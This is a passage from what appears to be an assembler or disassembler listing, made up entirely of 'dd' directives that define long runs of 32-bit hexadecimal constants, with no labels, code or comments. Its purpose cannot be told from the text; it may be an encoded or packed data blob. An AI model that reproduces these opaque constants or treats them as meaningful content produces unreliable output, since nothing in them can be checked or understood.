0D14CC9FCh, 327C50DDh, 13F4B013h dd 34D609FBh, 0D5750C85h, 9BEF61Ch, 0D1645568h, 66838383h dd 0CA346918h, 0D6040D7Fh, 1EFD875Bh, 3B5907D9h, 25686C02h dd 0C0067E53h, 814AD130h, 19FDC900h, 0D9F7784Ch, 338A33E9h dd 8CB9D32Bh, 8F80720Ch, 0D5AE9D83h, 44F52F6Bh, 89343D0h dd 0FAF8BAF3h, 0A29CD351h, 0ED8385B0h, 855115A5h, 0C150C6E9h dd 0F304A89h, 0C39D6159h, 90B21D84h, 1088D83Fh, 73637FF2h dd 0C156E12Bh, 0A43CDEBAh, 0E8E6D4E4h, 99E9B127h, 5E26A228h dd 5A120FF3h, 1B2304F3h, 8B0F134Ch, 4105062Ch, 0CA6B010h dd 4426165h, 64097066h, 0D8292A03h, 5808817Eh, 0AC20E83h dd 0C040268h, 177252B3h, 83A06CF8h, 1C9102C7h, 0B2E95F82h dd 51D0E90Dh, 12BFE2A3h, 0B4F40053h, 0E922C06Eh, 0D1193729h dd 0CCD7D06Eh, 7727E921h, 0C858C2B1h, 257ED630h, 78086CA9h dd 15F0407h, 522388C8h, 0E942C5B9h, 0D39EADAAh, 0C15563E1h dd 0F403F325h, 0D81FDFF2h, 4CD02916h, 0AF48305Ah, 8D0B9900h dd 0A7F3810Ah, 23C46513h, 0D803B209h, 7918C139h, 2070951Eh dd 771248D4h, 7741F792h, 4E8835Dh, 324C3D2Eh, 0EB023451h dd 54791BF9h, 2E68EC52h, 0D8F030D6h, 0C2646CE9h, 27B0593Dh dd 0B6A07735h, 0C30832DEh, 0BAF1E763h, 0F2258906h, 0D9F0827Ah dd 716C5A29h, 0FDCD147Ch, 367E8B01h, 0C1C7447h, 2F605D20h dd 0F404EAC1h, 0FE6B806h, 6C2CFCC2h, 3B0A5665h, 0DE59C331h dd 0E33A5548h, 9881B658h, 2C58B31Eh, 2066570h, 0D62AECC2h dd 7FBA4B2Bh, 6C53089Bh, 0DCE98296h, 13B7C45Ch, 0D4E8302Ah dd 50F85E2Bh, 0DD881DE7h, 0DD4B18D2h, 0BF83835Ah, 0D849034Bh dd 0E536866h, 0EE5C5BDAh, 0B2B95100h, 0AA422E3Dh, 6216628Ch dd 0FA0B0905h, 170320A6h, 281D76EEh, 660904F0h, 9EB165Ah dd 0C3866CB3h, 4508AD8Dh, 3BF7BC50h, 4E851A5Bh, 88D5F42Fh dd 0F27AFF4h, 0DF7B06EBh, 0F2293F10h, 0ABE2C898h, 88325EB1h dd 4C59FDCEh, 0D6F627DDh, 860E4E93h, 4BF48850h, 43AD59E7h dd 0FEF8D7F6h, 80775B66h, 84407669h, 18AC9A9Ch, 0E4EB0A7Bh dd 13E1B551h, 68B6B157h, 8B54C7ABh, 0E9A79049h, 27405A61h dd 4B51F97Ch, 0AD66E7A7h, 3EB16C94h, 2F16050Ch, 7E760BE1h dd 4F097D5Ch, 66100242h, 2B4AAB68h, 41DBE5CCh, 598D302Dh dd 5C79A1BCh, 9D844769h, 4300943h, 0AA8028ECh, 4BB05058h dd 38F1FADh, 0A92CD40Ch, 43B61E7Eh, 0B6E92B85h, 0FCEEE9B1h dd 0D1F70919h, 42B36280h, 0E913E010h, 51B36715h, 0F9330D04h dd 0D6418021h, 362CE310h, 2639FDC1h, 75A40E62h, 0ACC5D152h dd 1F648845h, 1414B70Eh, 0DAC94AE9h, 9F12E30h, 0D19E95Ah dd 8FF036C4h, 0FC541540h, 30FE4931h, 6808EF48h, 7526559Fh dd 870A451Ah, 926E9E9Bh, 4029FCF4h, 831CAD6Eh, 0F0F207Fh dd 3CD0F684h, 303859EEh, 720C4557h, 3D4F5C63h, 35187105h dd 17686088h, 14579A7Bh, 4AB2539Dh, 0A4402876h, 2F667726h dd 0E5EAA6E9h, 1EFC9CC8h, 45735B2Eh, 5F211902h, 9E668211h dd 467B226Dh, 0E2B35300h, 5D357AB0h, 8D4B2FD7h, 0E7A56073h dd 4EB96304h, 5784F501h, 0D5CA0812h, 76E95704h, 0E5B0C27h dd 589AA9E4h, 3166623Bh, 2F9BFB69h, 59CBF846h, 636D0FB4h dd 0ADC6315Ah, 88133D67h, 0AAF3872Ch, 0CDE8D14Ah, 0F05F06F1h dd 666B4E22h, 0CC9068FDh, 2737A12Fh, 2DF206BDh, 288FFC2Bh dd 1CD49AF3h, 0FCD0F793h, 296C1696h, 340B30D7h, 96695C9Ch dd 4F8376BEh, 5C830202h, 0D495FE9h, 3804D4BDh, 47BB5103h dd 0FAADD63Bh, 1E83CBDDh, 0FC170F8h, 527F015Dh, 0F067C5FCh dd 0B6C15BAFh, 37AA3474h, 423FDDE9h, 0FC7827A8h, 0B01B5D4h dd 0E9B740D7h, 9D5539CDh, 68C11584h, 277AF32Eh, 2818118Fh dd 0F981F0D8h, 962F5082h, 886489B4h, 0F71D7482h, 8EB7329h dd 1091C82h, 0FFE285DFh, 0C02C1EA8h, 86273CFEh, 38EED348h dd 0B4779804h, 4C2F309h, 0E0028FD3h, 880FFECBh, 0D5E91658h dd 0B1F7E246h, 6553CF67h, 0CE14B552h, 6D4718EBh, 4C5DEB97h dd 5B887153h, 6841DC48h, 493C1AC8h, 515E5482h, 4E097FE0h dd 0C74C1624h, 890D0D19h, 0DFF34430h, 6B26583h, 6FF72E82h dd 7329DDAh, 0D4FA8729h, 715E6C17h, 387F2602h, 4C01D2E9h dd 4A199525h, 0D8AD2254h, 0D19D790h, 0D32D21F0h, 5821200Bh dd 64375ACFh, 6BF073DFh, 639002Bh, 503AF781h, 4F600E9Eh dd 0AF14560Eh, 1C7FA20h, 49880D3Dh, 87658CE9h, 21B5B88Dh dd 0A87D024Bh, 68C00ECEh, 14904665h, 373ED4A0h, 4BF2FB1h dd 29EE0926h, 0D0F1DF80h, 0BC54480Dh, 44E9CA05h, 0EA54D01Bh dd 8827533Ch, 0ECEBE2D3h, 3EF62F7Ch, 1002BE49h, 17CFC681h dd 136D9363h, 0C0C01AFh, 0F82BB210h, 420296C9h, 0A2E93BCAh dd 7A7DC862h, 6A98B55Ch, 8080F9C3h, 68CE48CAh, 42F1632Eh dd 0AD0A55D8h, 3882F29h, 0A5EA31B0h, 96598971h, 0BE171853h dd 0DB5B0255h, 0DC7CE940h, 20D5A049h, 0C69C4642h, 9C14AC16h dd 227200Dh, 0BC049124h, 0BFED10Ch, 0DFC5AD12h, 0CC5A5322h dd 16838F9h, 0BCC6344Fh, 57C1A4D3h, 3D65329Fh, 160C9800h dd 0C7060DAh, 48060A1Dh, 0C4A21290h, 8B35080Ah, 2F62B1E9h dd 0A35A6264h, 0FF761A12h, 81A8B592h, 3C9A0095h, 6C017E5Eh dd 94B6129Dh, 0C5E92A8Ah, 8CBA3EB5h, 8A6E2A1Eh, 88A82425h dd 0BF6F32C4h, 81C04FA6h, 74E7FF6h, 0F031ECC8h, 6E003B5Eh dd 125115EAh, 0C2292502h, 643AE6E9h, 9552EE43h, 0E0D30B0Bh dd 498BD712h, 0C437E917h, 754BDD00h, 0C62588A3h, 14B16CDh dd 8ADA08ACh, 3347703Ah, 37E7C9C4h, 4380BE33h, 0F0B43F3Ah dd 542766C0h, 0E2810137h, 4BC67DE1h, 571B6042h, 386DE5E1h dd 0D27218E8h, 757ABA70h, 30BF7AFBh, 0BB14D994h, 0E81236AAh dd 0C4D04B0Eh, 3B2FB4C3h, 0F3061873h, 0C6E2D38h, 67952FEh dd 397240h, 291DD577h, 0EAC15BDAh, 0F204037Ch, 7BC64FCFh dd 0B9A0FEF8h, 0B7127856h, 8DC73129h, 5F162779h, 0EAD8E099h dd 1A6C7DEBh, 0CCDA011Ah, 8820809h, 3000AA13h, 0F8058C5h dd 0EF20EEF5h, 29782DA9h, 8481493Bh, 65924DBEh, 60CE6FC0h dd 314412ACh, 0C2771CC1h, 0A159A897h, 0E92F5C50h, 5DCD861Ch dd 46C50382h, 4D1F7942h, 2F6369F1h, 52D4CE41h, 0C807D70h dd 23D62CFAh, 0C798F801h, 63BA3B95h, 0F9310A98h, 2ACB87B9h dd 5BAF5D8Ch, 0F18E90A9h, 0F41842AAh, 0DA9E4156h, 15192527h dd 8901E6E1h, 7B082940h, 47BAB198h, 66488ED7h, 0D834953h dd 96010E9Ah, 873C29ABh, 7F45B7F0h, 4CE9C50Dh, 423F43F4h dd 412F689Eh, 6424CCD9h, 0E941CFCAh, 34661059h, 0B0B52348h dd 0C94009A9h, 0CCE1ED56h, 9C0532h, 0B05059E8h, 0B52F510Ch dd 1F0AE969h, 38D1C5CCh, 0A45DE953h, 9D125475h, 27F8B8h dd 2A255F67h, 550E209h, 4B78AF04h, 92C1F7D7h, 4D7D2ED6h dd 464168C3h, 0BF94D27h, 4DE15A59h, 68095554h, 0EB30602Dh dd 0A2B73ADBh, 1EBAB5h, 93130EBFh, 0CC001A5Bh, 61D33751h dd 420A32E9h, 0B0575C22h, 0A414F690h, 0BE38552Bh, 8B41053Fh dd 3C553DEh, 5E3699A3h, 0E6F831B1h, 2F41314Ah, 79DE3642h dd 0EEAE3A24h, 39086D82h, 9277A57h, 3A7E0502h, 79BECD0Fh dd 73DE080h, 5AD629A3h, 0C0E95F12h, 908C12C4h, 4C0E2CF3h dd 7CCE00E5h, 0E9253473h dd 9D064120h, 5E037280h, 680666D6h, 4D107FD1h, 0C17254Ch dd 6EF6944Eh, 2120435Fh, 751068h, 0C15807DDh, 0EE2505E8h dd 64E51E00h, 0B46B2D48h, 89D8267Bh, 0F1A70BC4h, 15EC18C8h dd 0C625B30h, 1A3A148Ah, 0EAC20152h, 3B500809h, 26950C1Bh dd 430685A8h, 134AD18Ch, 0E2C8B60Fh, 0DA21C616h, 0D8312F22h dd 0EEC0EA40h, 124EBE80h, 86AD927h, 974A377Bh, 0CA206B28h dd 165E5AB0h, 30070878h, 93835A3Ch, 89099CD6h, 1F4D5B87h dd 0A434A844h, 227C1565h, 0C9C1515Ah, 78DAAC7Dh, 30A0BCFCh dd 0DEF70706h, 3201EFE5h, 7767F3FBh, 22242EE9h, 9DB70053h dd 28E4EF80h, 88245BFCh, 0A03B11E5h, 309580B2h, 4B372674h dd 208E24AEh, 8C1CC108h, 645F071Eh, 0D65DC982h, 38E10271h dd 0C115B450h, 0F0528B5h, 0C7C742D8h, 537F0E2Ch, 4D4EA05Dh dd 0D0F7950Bh, 71F68255h, 595402B5h, 0C45BE440h, 229C7292h dd 29A72A89h, 4D740E82h, 293E31EBh, 6A4A133h, 10C25244h dd 32FF0353h, 5D550E67h, 25CDC4EBh, 0E46D6D40h, 0E1318E37h dd 4A6450E9h, 2AD39233h, 0DFA4F3Fh, 6AE0E181h, 0D79CF00Ah dd 0C87601F4h, 0E114B85Fh, 5706076Ah, 15D156BFh, 0E1C6471Ch dd 68002AA7h, 1F9726F9h, 1EE90D32h, 763320DFh, 8D3AF828h dd 5296C14Fh, 5EA99D0Ch, 0EC9518A2h, 59C86748h, 35E66814h dd 8EE9C23Bh, 31E90C45h, 690D06DAh, 9C692953h, 5BA65810h dd 0F0FDB0CDh, 80D2C860h, 0F578305Ah, 27C5EF2Ch, 0F69724CFh dd 0A12560B9h, 54985452h, 53356812h, 0E9F055ACh, 0AC40344h dd 0D1E3C828h, 530B2C02h, 0C4D1B0B3h, 51403A37h, 7A88EAB1h dd 30591FCCh, 1781A4E3h, 0F2C2B575h, 0A5ED6BA2h, 0EA49110Ah dd 9FB057F7h, 0A6B5D366h, 133D482h, 70B9515Ah, 6027C611h dd 7B0508E1h, 0CB010622h, 0CDBFCC81h, 558C8704h, 9FA7F368h dd 28AB0B8Ch, 8DF55E21h, 0DC46FCAAh, 0A36096AAh, 38D42261h dd 566802ABh, 54598820h, 1A51668Ah, 0A66BEF04h, 0EF80586Fh dd 4839699Fh, 7C27C517h, 0F75A3C84h, 2086762Bh, 0D1020A7Dh dd 8F6852E2h, 8ACA5931h, 8BCF3E25h, 0CDD1B735h, 0A154568Ah dd 67D65E9Fh, 92B7A057h, 0C942B83Bh, 1F7EDA32h, 0CF7DFAEDh dd 5D89012Bh, 64AD13D9h, 52A8BC52h, 70A4D712h, 0B1108051h dd 209E07E9h, 0CBA4571Eh, 0C96F780Eh, 1EA6F81Ah, 565097E7h dd 1CB90142h, 0F96A0F7Ch, 0FCB944D7h, 0B3CA5B70h, 0B580C85Eh dd 8C2AFB41h, 6C9D5CCAh, 0A4BA2B0Fh, 82521294h, 0D3F354E2h dd 0C9F85045h, 28D31EA4h, 3BCA2A97h, 48E5F6E5h, 924B206h dd 0B0745231h, 0A0B49672h, 80A73157h, 6813BFB5h, 0F1F67252h dd 0F8C06225h, 5B4CFD30h, 18C774FEh, 58B468F9h, 87C411BCh dd 0BD590FF1h, 8F0D57CCh, 489B3CEEh, 8A6FAEh, 5E5C0FA2h dd 0ECE7F089h, 0F49EF20Ah, 0C8FE0880h, 0E4F58851h, 4E5598C6h dd 48E18E2Eh, 71DA308Eh, 0B01B252h, 8B1F280h, 0E0C0C503h dd 0E27534A9h, 90CC045Dh, 617A08E1h, 48B30F9Bh, 0A340E2D8h dd 61010968h, 925046DBh, 7A67D770h, 0C619BF72h, 82E3FA70h dd 51B08F40h, 0A62B8C3Dh, 96B0AFE0h, 19EAC06Eh, 0ACAFE05h dd 0A5944407h, 0C0F5F52Ch, 8F61797h, 94B5AB92h, 0D4EA90CAh dd 1F10D49Bh, 0F7311F4Fh, 1C856453h, 0C45ED6E3h, 1C62EB82h dd 734556CFh, 30EBB4h, 0BC4EE6E9h, 7B5866F4h, 6277B0B0h dd 435819B8h, 8660356h, 0ABE9F15Ah, 2C241EF8h, 7C0E459h dd 0C6D8288Dh, 6816125Bh, 0FC272D3Ch, 0C6A8CA74h, 80BDB7C0h dd 0FE3A37CFh, 1EF782C7h, 4008EFC0h, 90280134h, 0A2049D40h dd 580B83F4h, 51121579h, 0F6178EB5h, 0C55B350Eh, 0F2BDA7F6h dd 0ECD283CEh, 6F109207h, 0E15BC5AEh, 77F9182Dh, 5D276368h dd 0F9D501B1h, 0D7002EF2h, 8A4A9A2Dh, 0D0291451h, 5A3B0705h dd 0EF17DE01h, 7C6DE914h, 5EBD2EB6h, 0E1D52CC5h, 0FA84FFA9h dd 0A1CCCC5Fh, 16418BBFh, 0E91CED18h, 46DF0625h, 0B8EDE522h dd 851F5C55h, 6802ED81h, 967C6D42h, 9415E985h, 3ED1ACE0h dd 0EE714B5Ch, 0DE6C10E9h, 58F08A5Bh, 67623108h, 0E202454h dd 0A756965Fh, 0D5E9B0C0h, 0CB275A9Ch, 397D5F2Dh, 0E3222A50h dd 81A170E2h, 83879899h, 9B29685Bh, 11020373h, 422D6E7Ch dd 97F0504Ah, 109FB16Ch, 4180E953h, 9E3D3066h, 4DB87C17h dd 37AC5984h, 10BA8720h, 3FBD5512h, 57181E04h, 6CCF8780h dd 0BF2B1DB5h, 2C1680C5h, 315BDF29h, 0BFE9CC95h, 0C8CB0B0Fh dd 0DCDA33BBh, 0BD1FD7AEh, 73CF28A8h, 0F5801CFEh, 0B8EDC213h dd 0BC5CFAE9h, 1E596804h, 9A1FB8D8h, 92053CC0h, 2D6B8801h dd 0F201188Bh, 0F698A956h, 0B9FF663Fh, 0A16E0D66h, 20643B78h dd 94A57585h, 16DD9A2Ah, 0F791F9F7h, 0FE00AEF8h, 0C65080CEh dd 0BC4033D0h, 18D405BAh, 0AC01107Ah, 132F205Fh, 0B0DB2C5Bh dd 5762A2E4h, 1B6CB6DBh, 0B5D495C2h, 8230CC69h, 92D1F9ADh dd 58A3F07Ch, 71499BB1h, 0F805E018h, 1B5C455Bh, 25A749C3h dd 0FE86145Fh, 67676A79h, 3E263C0Ch, 20BAD2Eh, 339091F1h dd 441CE913h, 0C3DDF66Eh, 0A3D32959h, 0D34E37BEh, 80588B20h dd 0D7C15FC3h, 0D6825B44h, 0AC0132B5h, 92E00B04h, 2CE993E6h dd 0C089A112h, 27235F8Dh, 7D0CEFFCh, 40F53410h, 6E1D43Fh dd 0C7CFC473h, 4769C058h, 54142D53h, 16C4F281h, 4B015FC9h dd 0BE43B43h, 27D7E9A9h, 574EDFECh, 5DA0A13h, 0FD098C5Ah dd 68454626h, 1B41220Bh, 84F41A31h, 2FD6E4CAh, 0DABB96B0h dd 25FB5C40h, 8CA9D617h, 19669B80h, 5A20D1C9h, 6848028Ah dd 3EA97F0Eh, 0A7F7CB87h, 6D095B15h, 88526B60h, 2025CE4Ch dd 0D8012FEBh, 0D22A34EEh, 329D3146h, 52C3C280h, 6EB04CAh dd 0AD77B817h, 8B084195h, 91666272h, 0D33BD1B4h, 6225CFE2h dd 8B0E0590h, 8E25DEF9h, 385CA9C9h, 5835275Bh, 93DBB345h dd 0E6FD655Bh, 0F7037C6Fh, 2921BB79h, 8A040D3h, 0D4CC30E9h dd 1D4BC14Fh, 2295B5E2h, 2E16EE5h, 0EE655E54h, 0D168A9ADh dd 96E99DE1h, 0ED442907h, 2F7625FBh, 0F9E5538Dh, 5CB6B570h dd 0FA1007CCh, 0DBE98234h, 2DFFA0A8h, 52A6C97h, 63403568h dd 0D872C253h, 5650F9F4h, 72910268h, 8FE97D4Eh, 310EDF54h dd 0B37E4C5h, 0AC0D54EFh, 0D81E9838h, 0A222E5Bh, 0A59855E9h dd 0C7C16062h, 38923DECh, 22A4905Dh, 8018451h, 0B348F9E9h dd 0CC5867C3h, 20E8B5C0h, 2B9DC5D1h, 9916CE3Dh, 0E5AD596Fh dd 2DC7DDDDh, 4A10B924h, 0BBB551C4h, 0EE23DBD2h, 0D7F5054Fh dd 17922947h, 0FD8BF5E2h, 5057341Dh, 726EEBB1h, 59441A56h dd 26B81431h, 5C7CA96h, 73582E6Bh, 3BB79AE0h, 54DC652Dh dd 9314DB25h, 1E3CD32Ch, 0A59E508Ch, 0A72201EDh, 0EE31A96Fh dd 0B791605Dh, 3B301FF0h, 59E91221h, 70B9C9h, 176C04A5h dd 0F736CF87h, 4E7008D1h, 0E9D0522Fh, 38341693h, 58810EB2h dd 11064968h, 0E2070ACAh, 31C028FCh, 668060D2h, 0FBAAC450h dd 0F4CE409Dh, 0A03B727Ah, 728406B8h, 9DE91304h, 0E5DE571Bh dd 7C1CD32h, 0E206E132h, 252A746Ah, 3B289CC5h, 7E25752h dd 9990DA5h, 0ED40E1B5h, 231F2D5Eh, 1370A53h, 90705F8h dd 0B72F69E9h, 8A02CE88h, 0DE136755h, 2C5E04F9h, 0A0CB8116h dd 795B03D5h, 0A451582Ah, 4286B52Eh, 904E0BDh, 7A4404FAh dd 4CA1812h, 7DBA80B2h, 31873209h, 0CA2E7489h, 9580997h dd 0D07308h, 6F063EFDh dd 414E3BE9h, 6809DDA7h, 21302CD4h, 67283099h, 44FEE602h dd 5B8C084Ah, 854818A5h, 0A2AE00Eh, 814E0738h, 821B951h dd 0E1F425FBh, 267518F7h, 10CD0C74h, 0C12B7605h, 0C10B06E9h dd 0A48BE008h, 9783E463h, 520F05C3h, 81F88DFBh, 43E9F129h dd 9040D76Ch, 81BA4075h, 671AF604h, 18ABD9D6h, 0C0E906D2h dd 4A4DAF5Fh, 772A2D2Bh, 424ED297h, 0F287A055h, 0A8C208CFh dd 1A490393h, 24F386Bh, 0B9BB3741h, 2B4C8042h, 0EB31682Fh dd 0CDC905Dh, 1B3E6033h, 0AC414F98h, 1B58A927h, 0AC48D989h dd 641EAFF2h, 29D54315h, 2FB416E2h, 0EEB7187h, 8059C05Eh dd 25E9C8EEh, 0F4F2B9A7h, 8F09FB83h, 8508EBC1h, 0C071CDh dd 0B0D9895Eh, 9BE1071Dh, 0F0774C07h, 8C29E0F1h, 2BDA3060h dd 0B83EA17Eh, 7BAE096Bh, 88E06644h, 0ABB1616Ch, 73585489h dd 0BED70870h, 7F05B14h, 0CB640E6h, 0D653C5C2h, 1FE15374h dd 0B46060Fh, 0B4D7882h, 0E7006070h, 3132B2DEh, 0D6685DEFh dd 99E7F433h, 79100E72h, 2C2A3C29h, 2870B00Ah, 0EE2C2712h dd 7EE71F11h, 0D7940945h, 0E6C39FC9h, 3FF00104h, 20C0411Bh dd 4F0999A9h, 83F70DA6h, 59B76E28h, 0B392BED7h, 0AC7298ADh dd 6FA2676h, 215F028Dh, 0AC8717E5h, 10EAD3B3h, 36F6E000h dd 0FD0123C2h, 3865B556h, 6F3D1983h, 0C3CDF078h, 0FEF9616Bh dd 0F553BEE5h, 4546815Ch, 89B79818h, 97B4B334h, 9FCAFCB3h dd 537F57D8h, 0CB00094Fh, 123F1B2Dh, 0E8011406h, 825B0705h dd 29605100h, 1FB2504Ah, 0F516CF9Eh, 812F99F5h, 0EC08EF2Bh dd 34B41156h, 8B1F33E4h, 0DCE8F944h, 0C95CBDC3h, 48BA19D9h dd 0F2C0F133h, 1DAF9F8Bh, 0D03D9AC5h, 67F5806Ch, 1D85E095h dd 0FE5EC7C0h, 2E153C1h, 9D86F1F9h, 92BD0816h, 8105886Ch dd 28AEF6FDh, 9F6EE813h, 9AF7A616h, 115A480Ah, 53160A20h dd 6A844DB7h, 5DDBD1C2h, 45572B19h, 0E429ACCDh, 2292A3F2h dd 7D58551Ah, 0EFE03BB5h, 0CB88B974h, 9F3FC07h, 0ED47FE1h dd 2D073974h, 0AE81FC5Ah, 183A95E9h, 0D9F6F891h, 5CA9F6C9h dd 1A7D5218h, 7C466270h, 444F1230h, 0EC4627D9h, 890CB205h dd 9B7F8506h, 26BD4395h, 750D4E04h, 61388762h, 206EC750h dd 0B301CDCCh, 521B555Ch, 0C85FBBAh, 0E889E97Bh, 66050100h dd 5661ED1Eh, 1E22280h, 45E96728h, 0C3CA414Ah, 0C8773A12h dd 517A565Dh, 0F7A18F4Eh, 0D9FE0941h, 5501B74h, 3140585Fh dd 0B6C782C7h, 88E9590Bh, 420014E7h, 3238BE56h, 816A0B6Ch dd 5C8590E6h, 0ED058022h, 72097F25h, 585EF229h, 0DAF7268Bh dd 3FC201F0h, 200453F3h, 429DF881h, 88235E59h, 0A528A61Eh dd 3EAF7020h, 5B97E6D1h, 0C3B4E32Ch, 7A0C8268h, 1408BEA3h dd 327DF7ADh, 221B3CD9h, 5417797Ch, 0CBF4CD99h, 0C034C7B8h dd 0E763BEEFh, 0C3B28007h, 274B8076h, 923933F1h, 377643h dd 3826707Bh, 126E94Bh, 76476FE1h, 0BA1B1F30h, 310BC34Ah dd 0DA1058C2h, 0BE4CB9B6h, 0C8118062h, 25950888h, 0F15863D8h dd 277C3D77h, 40754202h, 9F3F963Fh, 2722CAECh, 5687820Fh dd 0A9AF0B71h, 0D3628D56h, 47CF749Bh, 36CDC755h, 52D525Eh dd 46A2D143h, 33B70D15h, 74BBB4F7h, 8A940E0Ch, 129667Fh dd 58E923CFh, 9F9D3AFFh, 4888CB3Eh, 7B005E06h, 8301CBBDh dd 52503247h, 0C24FB42h, 91238324h, 52B17040h, 0F6E8B60Bh dd 85AF74DEh, 2C6FED5h, 0F4881F07h, 30516E56h, 0E91F2C6Eh dd 0F3F14825h, 90688464h, 8B8EA20Ah, 0BD6458Fh, 63E427A8h dd 0F5015E7Fh, 1A5A418h, 8650E821h, 0B65B5453h, 8172527Eh dd 8944094Ah, 0EF8006EDh, 0F574FE4Ah, 0AAC7C4F8h, 0C94B7CEAh dd 16491576h, 0C9A4B45Ch, 0F6098F54h, 0C9213333h, 496EEC41h dd 91E3B491h, 50665397h, 2A28F4C1h, 611F019h, 2AE2E901h dd 0C1852684h, 629988E7h, 605902E2h, 2669D87Dh, 0EBF64556h dd 3EF6581h, 0CE8C7062h, 0EB572F0Bh, 1E3875Ch, 4BBA679Eh dd 0E9C14907h, 0BB363F24h, 0F4941464h, 0A0BC316h, 5098080Bh dd 89501271h, 5F0CF0F8h, 0E918EAF4h, 6896F0A1h, 88234EF6h dd 0CD9757A8h, 2F7DA918h, 2E932C9Ch, 2C15394h, 12BF2279h dd 0EA907542h, 170EA465h, 3C25E9EFh, 58CA5F38h, 0B0408F69h dd 0EFD32D82h, 20C63ECh, 440E3726h, 0C813CF80h, 0DC26AED2h dd 5E09031Eh, 0E99C74DEh, 0C6F64FB2h, 6F30C260h, 2918171Ch dd 82910CAh, 0F16BE912h, 0D1656E27h, 0E9D830BBh, 25B715EDh dd 0A8401F21h, 0DE09ADBFh, 7C290536h, 0BB5F0824h, 50963F0Dh dd 0DCF5D36Bh, 98C2114Ah, 253E7C56h, 0F15A250Bh, 8F81417Ch dd 5B6FDA89h, 983F7C59h, 0F5C95C8Ah, 96771ED0h, 0D8EACBCDh dd 0AF2F0652h, 39048EBh, 217D037Fh, 6C24DB8h, 6BCEF1ECh dd 3254AC0h, 11EC68h, 60F10540h, 0F6351028h, 204A29EAh dd 781F4E0h, 76A96C5h, 58F5B604h, 70017F02h, 68D1F761h dd 1E1FF1E4h, 585B2615h, 43A810E1h, 0E970AB04h, 41F4C485h dd 0F14F58E2h, 0ECC7844Ah, 4F54449h, 312A21E2h, 0D9F0F62Fh dd 50405216h, 8428C7D6h, 1C28D00Ch, 4458BA90h, 0AECC7084h dd 5C294977h, 5717454Ah, 1DF95C5h, 0C521D7A5h, 487D7166h dd 923DB8BAh, 6C29331Ah, 0D758FA06h, 5A0B2033h, 0E695EFE9h dd 4EEE9042h, 68ADCC3Eh, 51489A2Eh, 90C55465h, 431F3080h dd 5F7B7CE6h, 0C22C0F5h, 1A50C92Fh, 5D14CB99h, 2EC454A3h dd 0D0129B30h, 4A96DA00h, 7E017C04h, 841E5EFh, 0A52D565Dh dd 3B1D884h, 3BACCD80h, 0ED1EA806h, 78F5479Eh, 0F80764C0h dd 0F1C50393h, 0F177B353h, 0F3E508CBh, 0AC2706BBh, 87311705h dd 13C61B9Bh, 0C6651E0Bh, 5A6CF0B4h, 0CB65B229h, 0F4188051h dd 215A27Fh, 36917905h, 0A37E89EFh, 5342E101h, 8A4038F4h dd 7CF769F0h, 84EE047Ah, 0EEC7AEE9h, 0E431340Bh, 0CA059A7Ah dd 9A3AF58h, 6E07483Fh, 0E951D107h, 77D73CF0h, 0E15E1B95h dd 5E2EAD19h, 0F1232A2h, 4FDBE0ABh, 0F2333709h, 90445ED3h dd 42D5EA92h, 10347948h, 5A3B94F3h, 4B7B74BCh, 432F54Dh dd 4492413Ah, 6F7AA70Fh, 42511B28h, 0C9B34AB9h, 0FE044D25h dd 63945Dh, 674C2C8Ch, 6B9F017Dh, 0E62E481Ch, 0E90283E2h dd 17FFC5Ah, 0C680E628h, 12E967B0h, 75F9D9F5h, 70A068B0h dd 4216C59Fh, 10D5B375h, 0C9A8EB59h, 977C32C2h, 0C61164EFh dd 403C7FA4h, 36F85BC1h, 0F324BE5Bh, 0F64882B8h, 3D6B925Eh dd 9A68B6ABh, 848E8C1h, 2B502C08h, 0A1550DCCh, 0BA145121h dd 0AAF48056h, 7A66975Fh, 474DD25Bh, 843F6909h, 8E34EF3Bh dd 57E9B34Fh, 0BF66984Ah, 0A69E8ACFh, 6C685E98h, 0F8EF71F6h dd 0E17EB2DDh, 3EEA10D7h, 25485298h, 0C17A8D63h, 436EB1E1h dd 8BEB21EEh, 4A7BCEDDh, 0FD9A28D1h, 54522E8Eh, 0F9F32E6h dd 4E3348C9h, 15429569h, 50FE94D5h, 0BC52675Ch, 0D7532563h dd 0D0BCC94Eh, 5767A884h, 398609BFh, 0C7005D9Eh, 202A73C0h dd 0EEC73124h, 4A42F702h, 0FD5C40B4h, 932CBC5Fh, 89F2D129h dd 158162F0h, 408F9E96h, 8995E6AAh, 51425EC8h, 355B01D0h dd 9CF41056h, 8AB90016h, 0C14D3358h, 0D8B013B8h, 0B54A2C00h dd 0F7F1876Eh, 5108C1D6h, 0FD5E5956h, 80FC5049h, 4AF077E5h dd 9EB10BDh, 76FD027Fh, 45D5F758h, 54635E41h, 923482E3h dd 0B8FB4D46h, 0BD5C2B39h, 80B22D3Eh, 2C5A66A6h, 0F669FA49h dd 260CB58Dh, 0F216C22Eh dd 0C11D5939h, 8BB534Ah, 0B317DA92h, 42858A1h, 1FE4C526h dd 41C213D6h, 6F5FBD69h, 0B1C02E04h, 4A656DD1h, 0DA040B28h dd 20FA81C3h, 0CD2A04DDh, 316863F0h, 74A5547Ah, 835A0333h dd 50D4C2C3h, 9D14B76Ah, 4200815Fh, 0F5B252ACh, 347C7B2Ch dd 0EF2005FAh, 62534E5Eh, 0F95C7F82h, 16CD611Ah, 1C0DA4Ch dd 0B70E1A71h, 4CF1316Ch, 266808CEh, 62406413h, 967514F7h dd 60E6824Bh, 0F413427Ch, 40CAB00Ch, 0C904819Bh, 677C6D79h dd 0E17A6A82h, 72826F64h, 117036F9h, 3E4859E0h, 605BD42Fh dd 0B7FA1A09h, 4268D3A0h, 0BB504B3h, 0E94BC2C8h, 222E2D29h dd 0BB41E84Ah, 50B828A9h, 36553BC7h, 0C7613BA7h, 5C0191D7h dd 9AD0A533h, 2BB085BCh, 0F029F442h, 7DA9C25Eh, 3F61CC80h dd 0BD035675h, 7BCB9F37h, 7F5892E9h, 0B4C1EC10h, 195A520Bh dd 5375C05Fh, 95757A1Fh, 9501F096h, 311278F8h, 9F215FF9h dd 0FE264038h, 74E30BE3h, 28930180h, 0C9F25BD9h, 0E93C9C7Ch dd 59C8812Fh, 0A1049F2Ch, 0D88887CAh, 0F33ECDDEh, 0DC2F8661h dd 7E02B429h, 289CC380h, 0AC14C3E3h, 0F37AAAA8h, 17191092h dd 0BFBEC52Dh, 46F86129h, 4AF29CA8h, 5EB910DBh, 0D591F557h dd 5100F62Ah, 0FE3EC5B5h, 16B003CDh, 0F202E0C0h, 0D667E0D0h dd 0A4C10C80h, 59316EE9h, 2670F7F2h, 1631F87Bh, 0AB0F5F92h dd 50EA5F3Bh, 2AB90390h, 0D1612B14h, 3929C917h, 0D185885h dd 0E8B74319h, 324FF768h, 76DF8F7h, 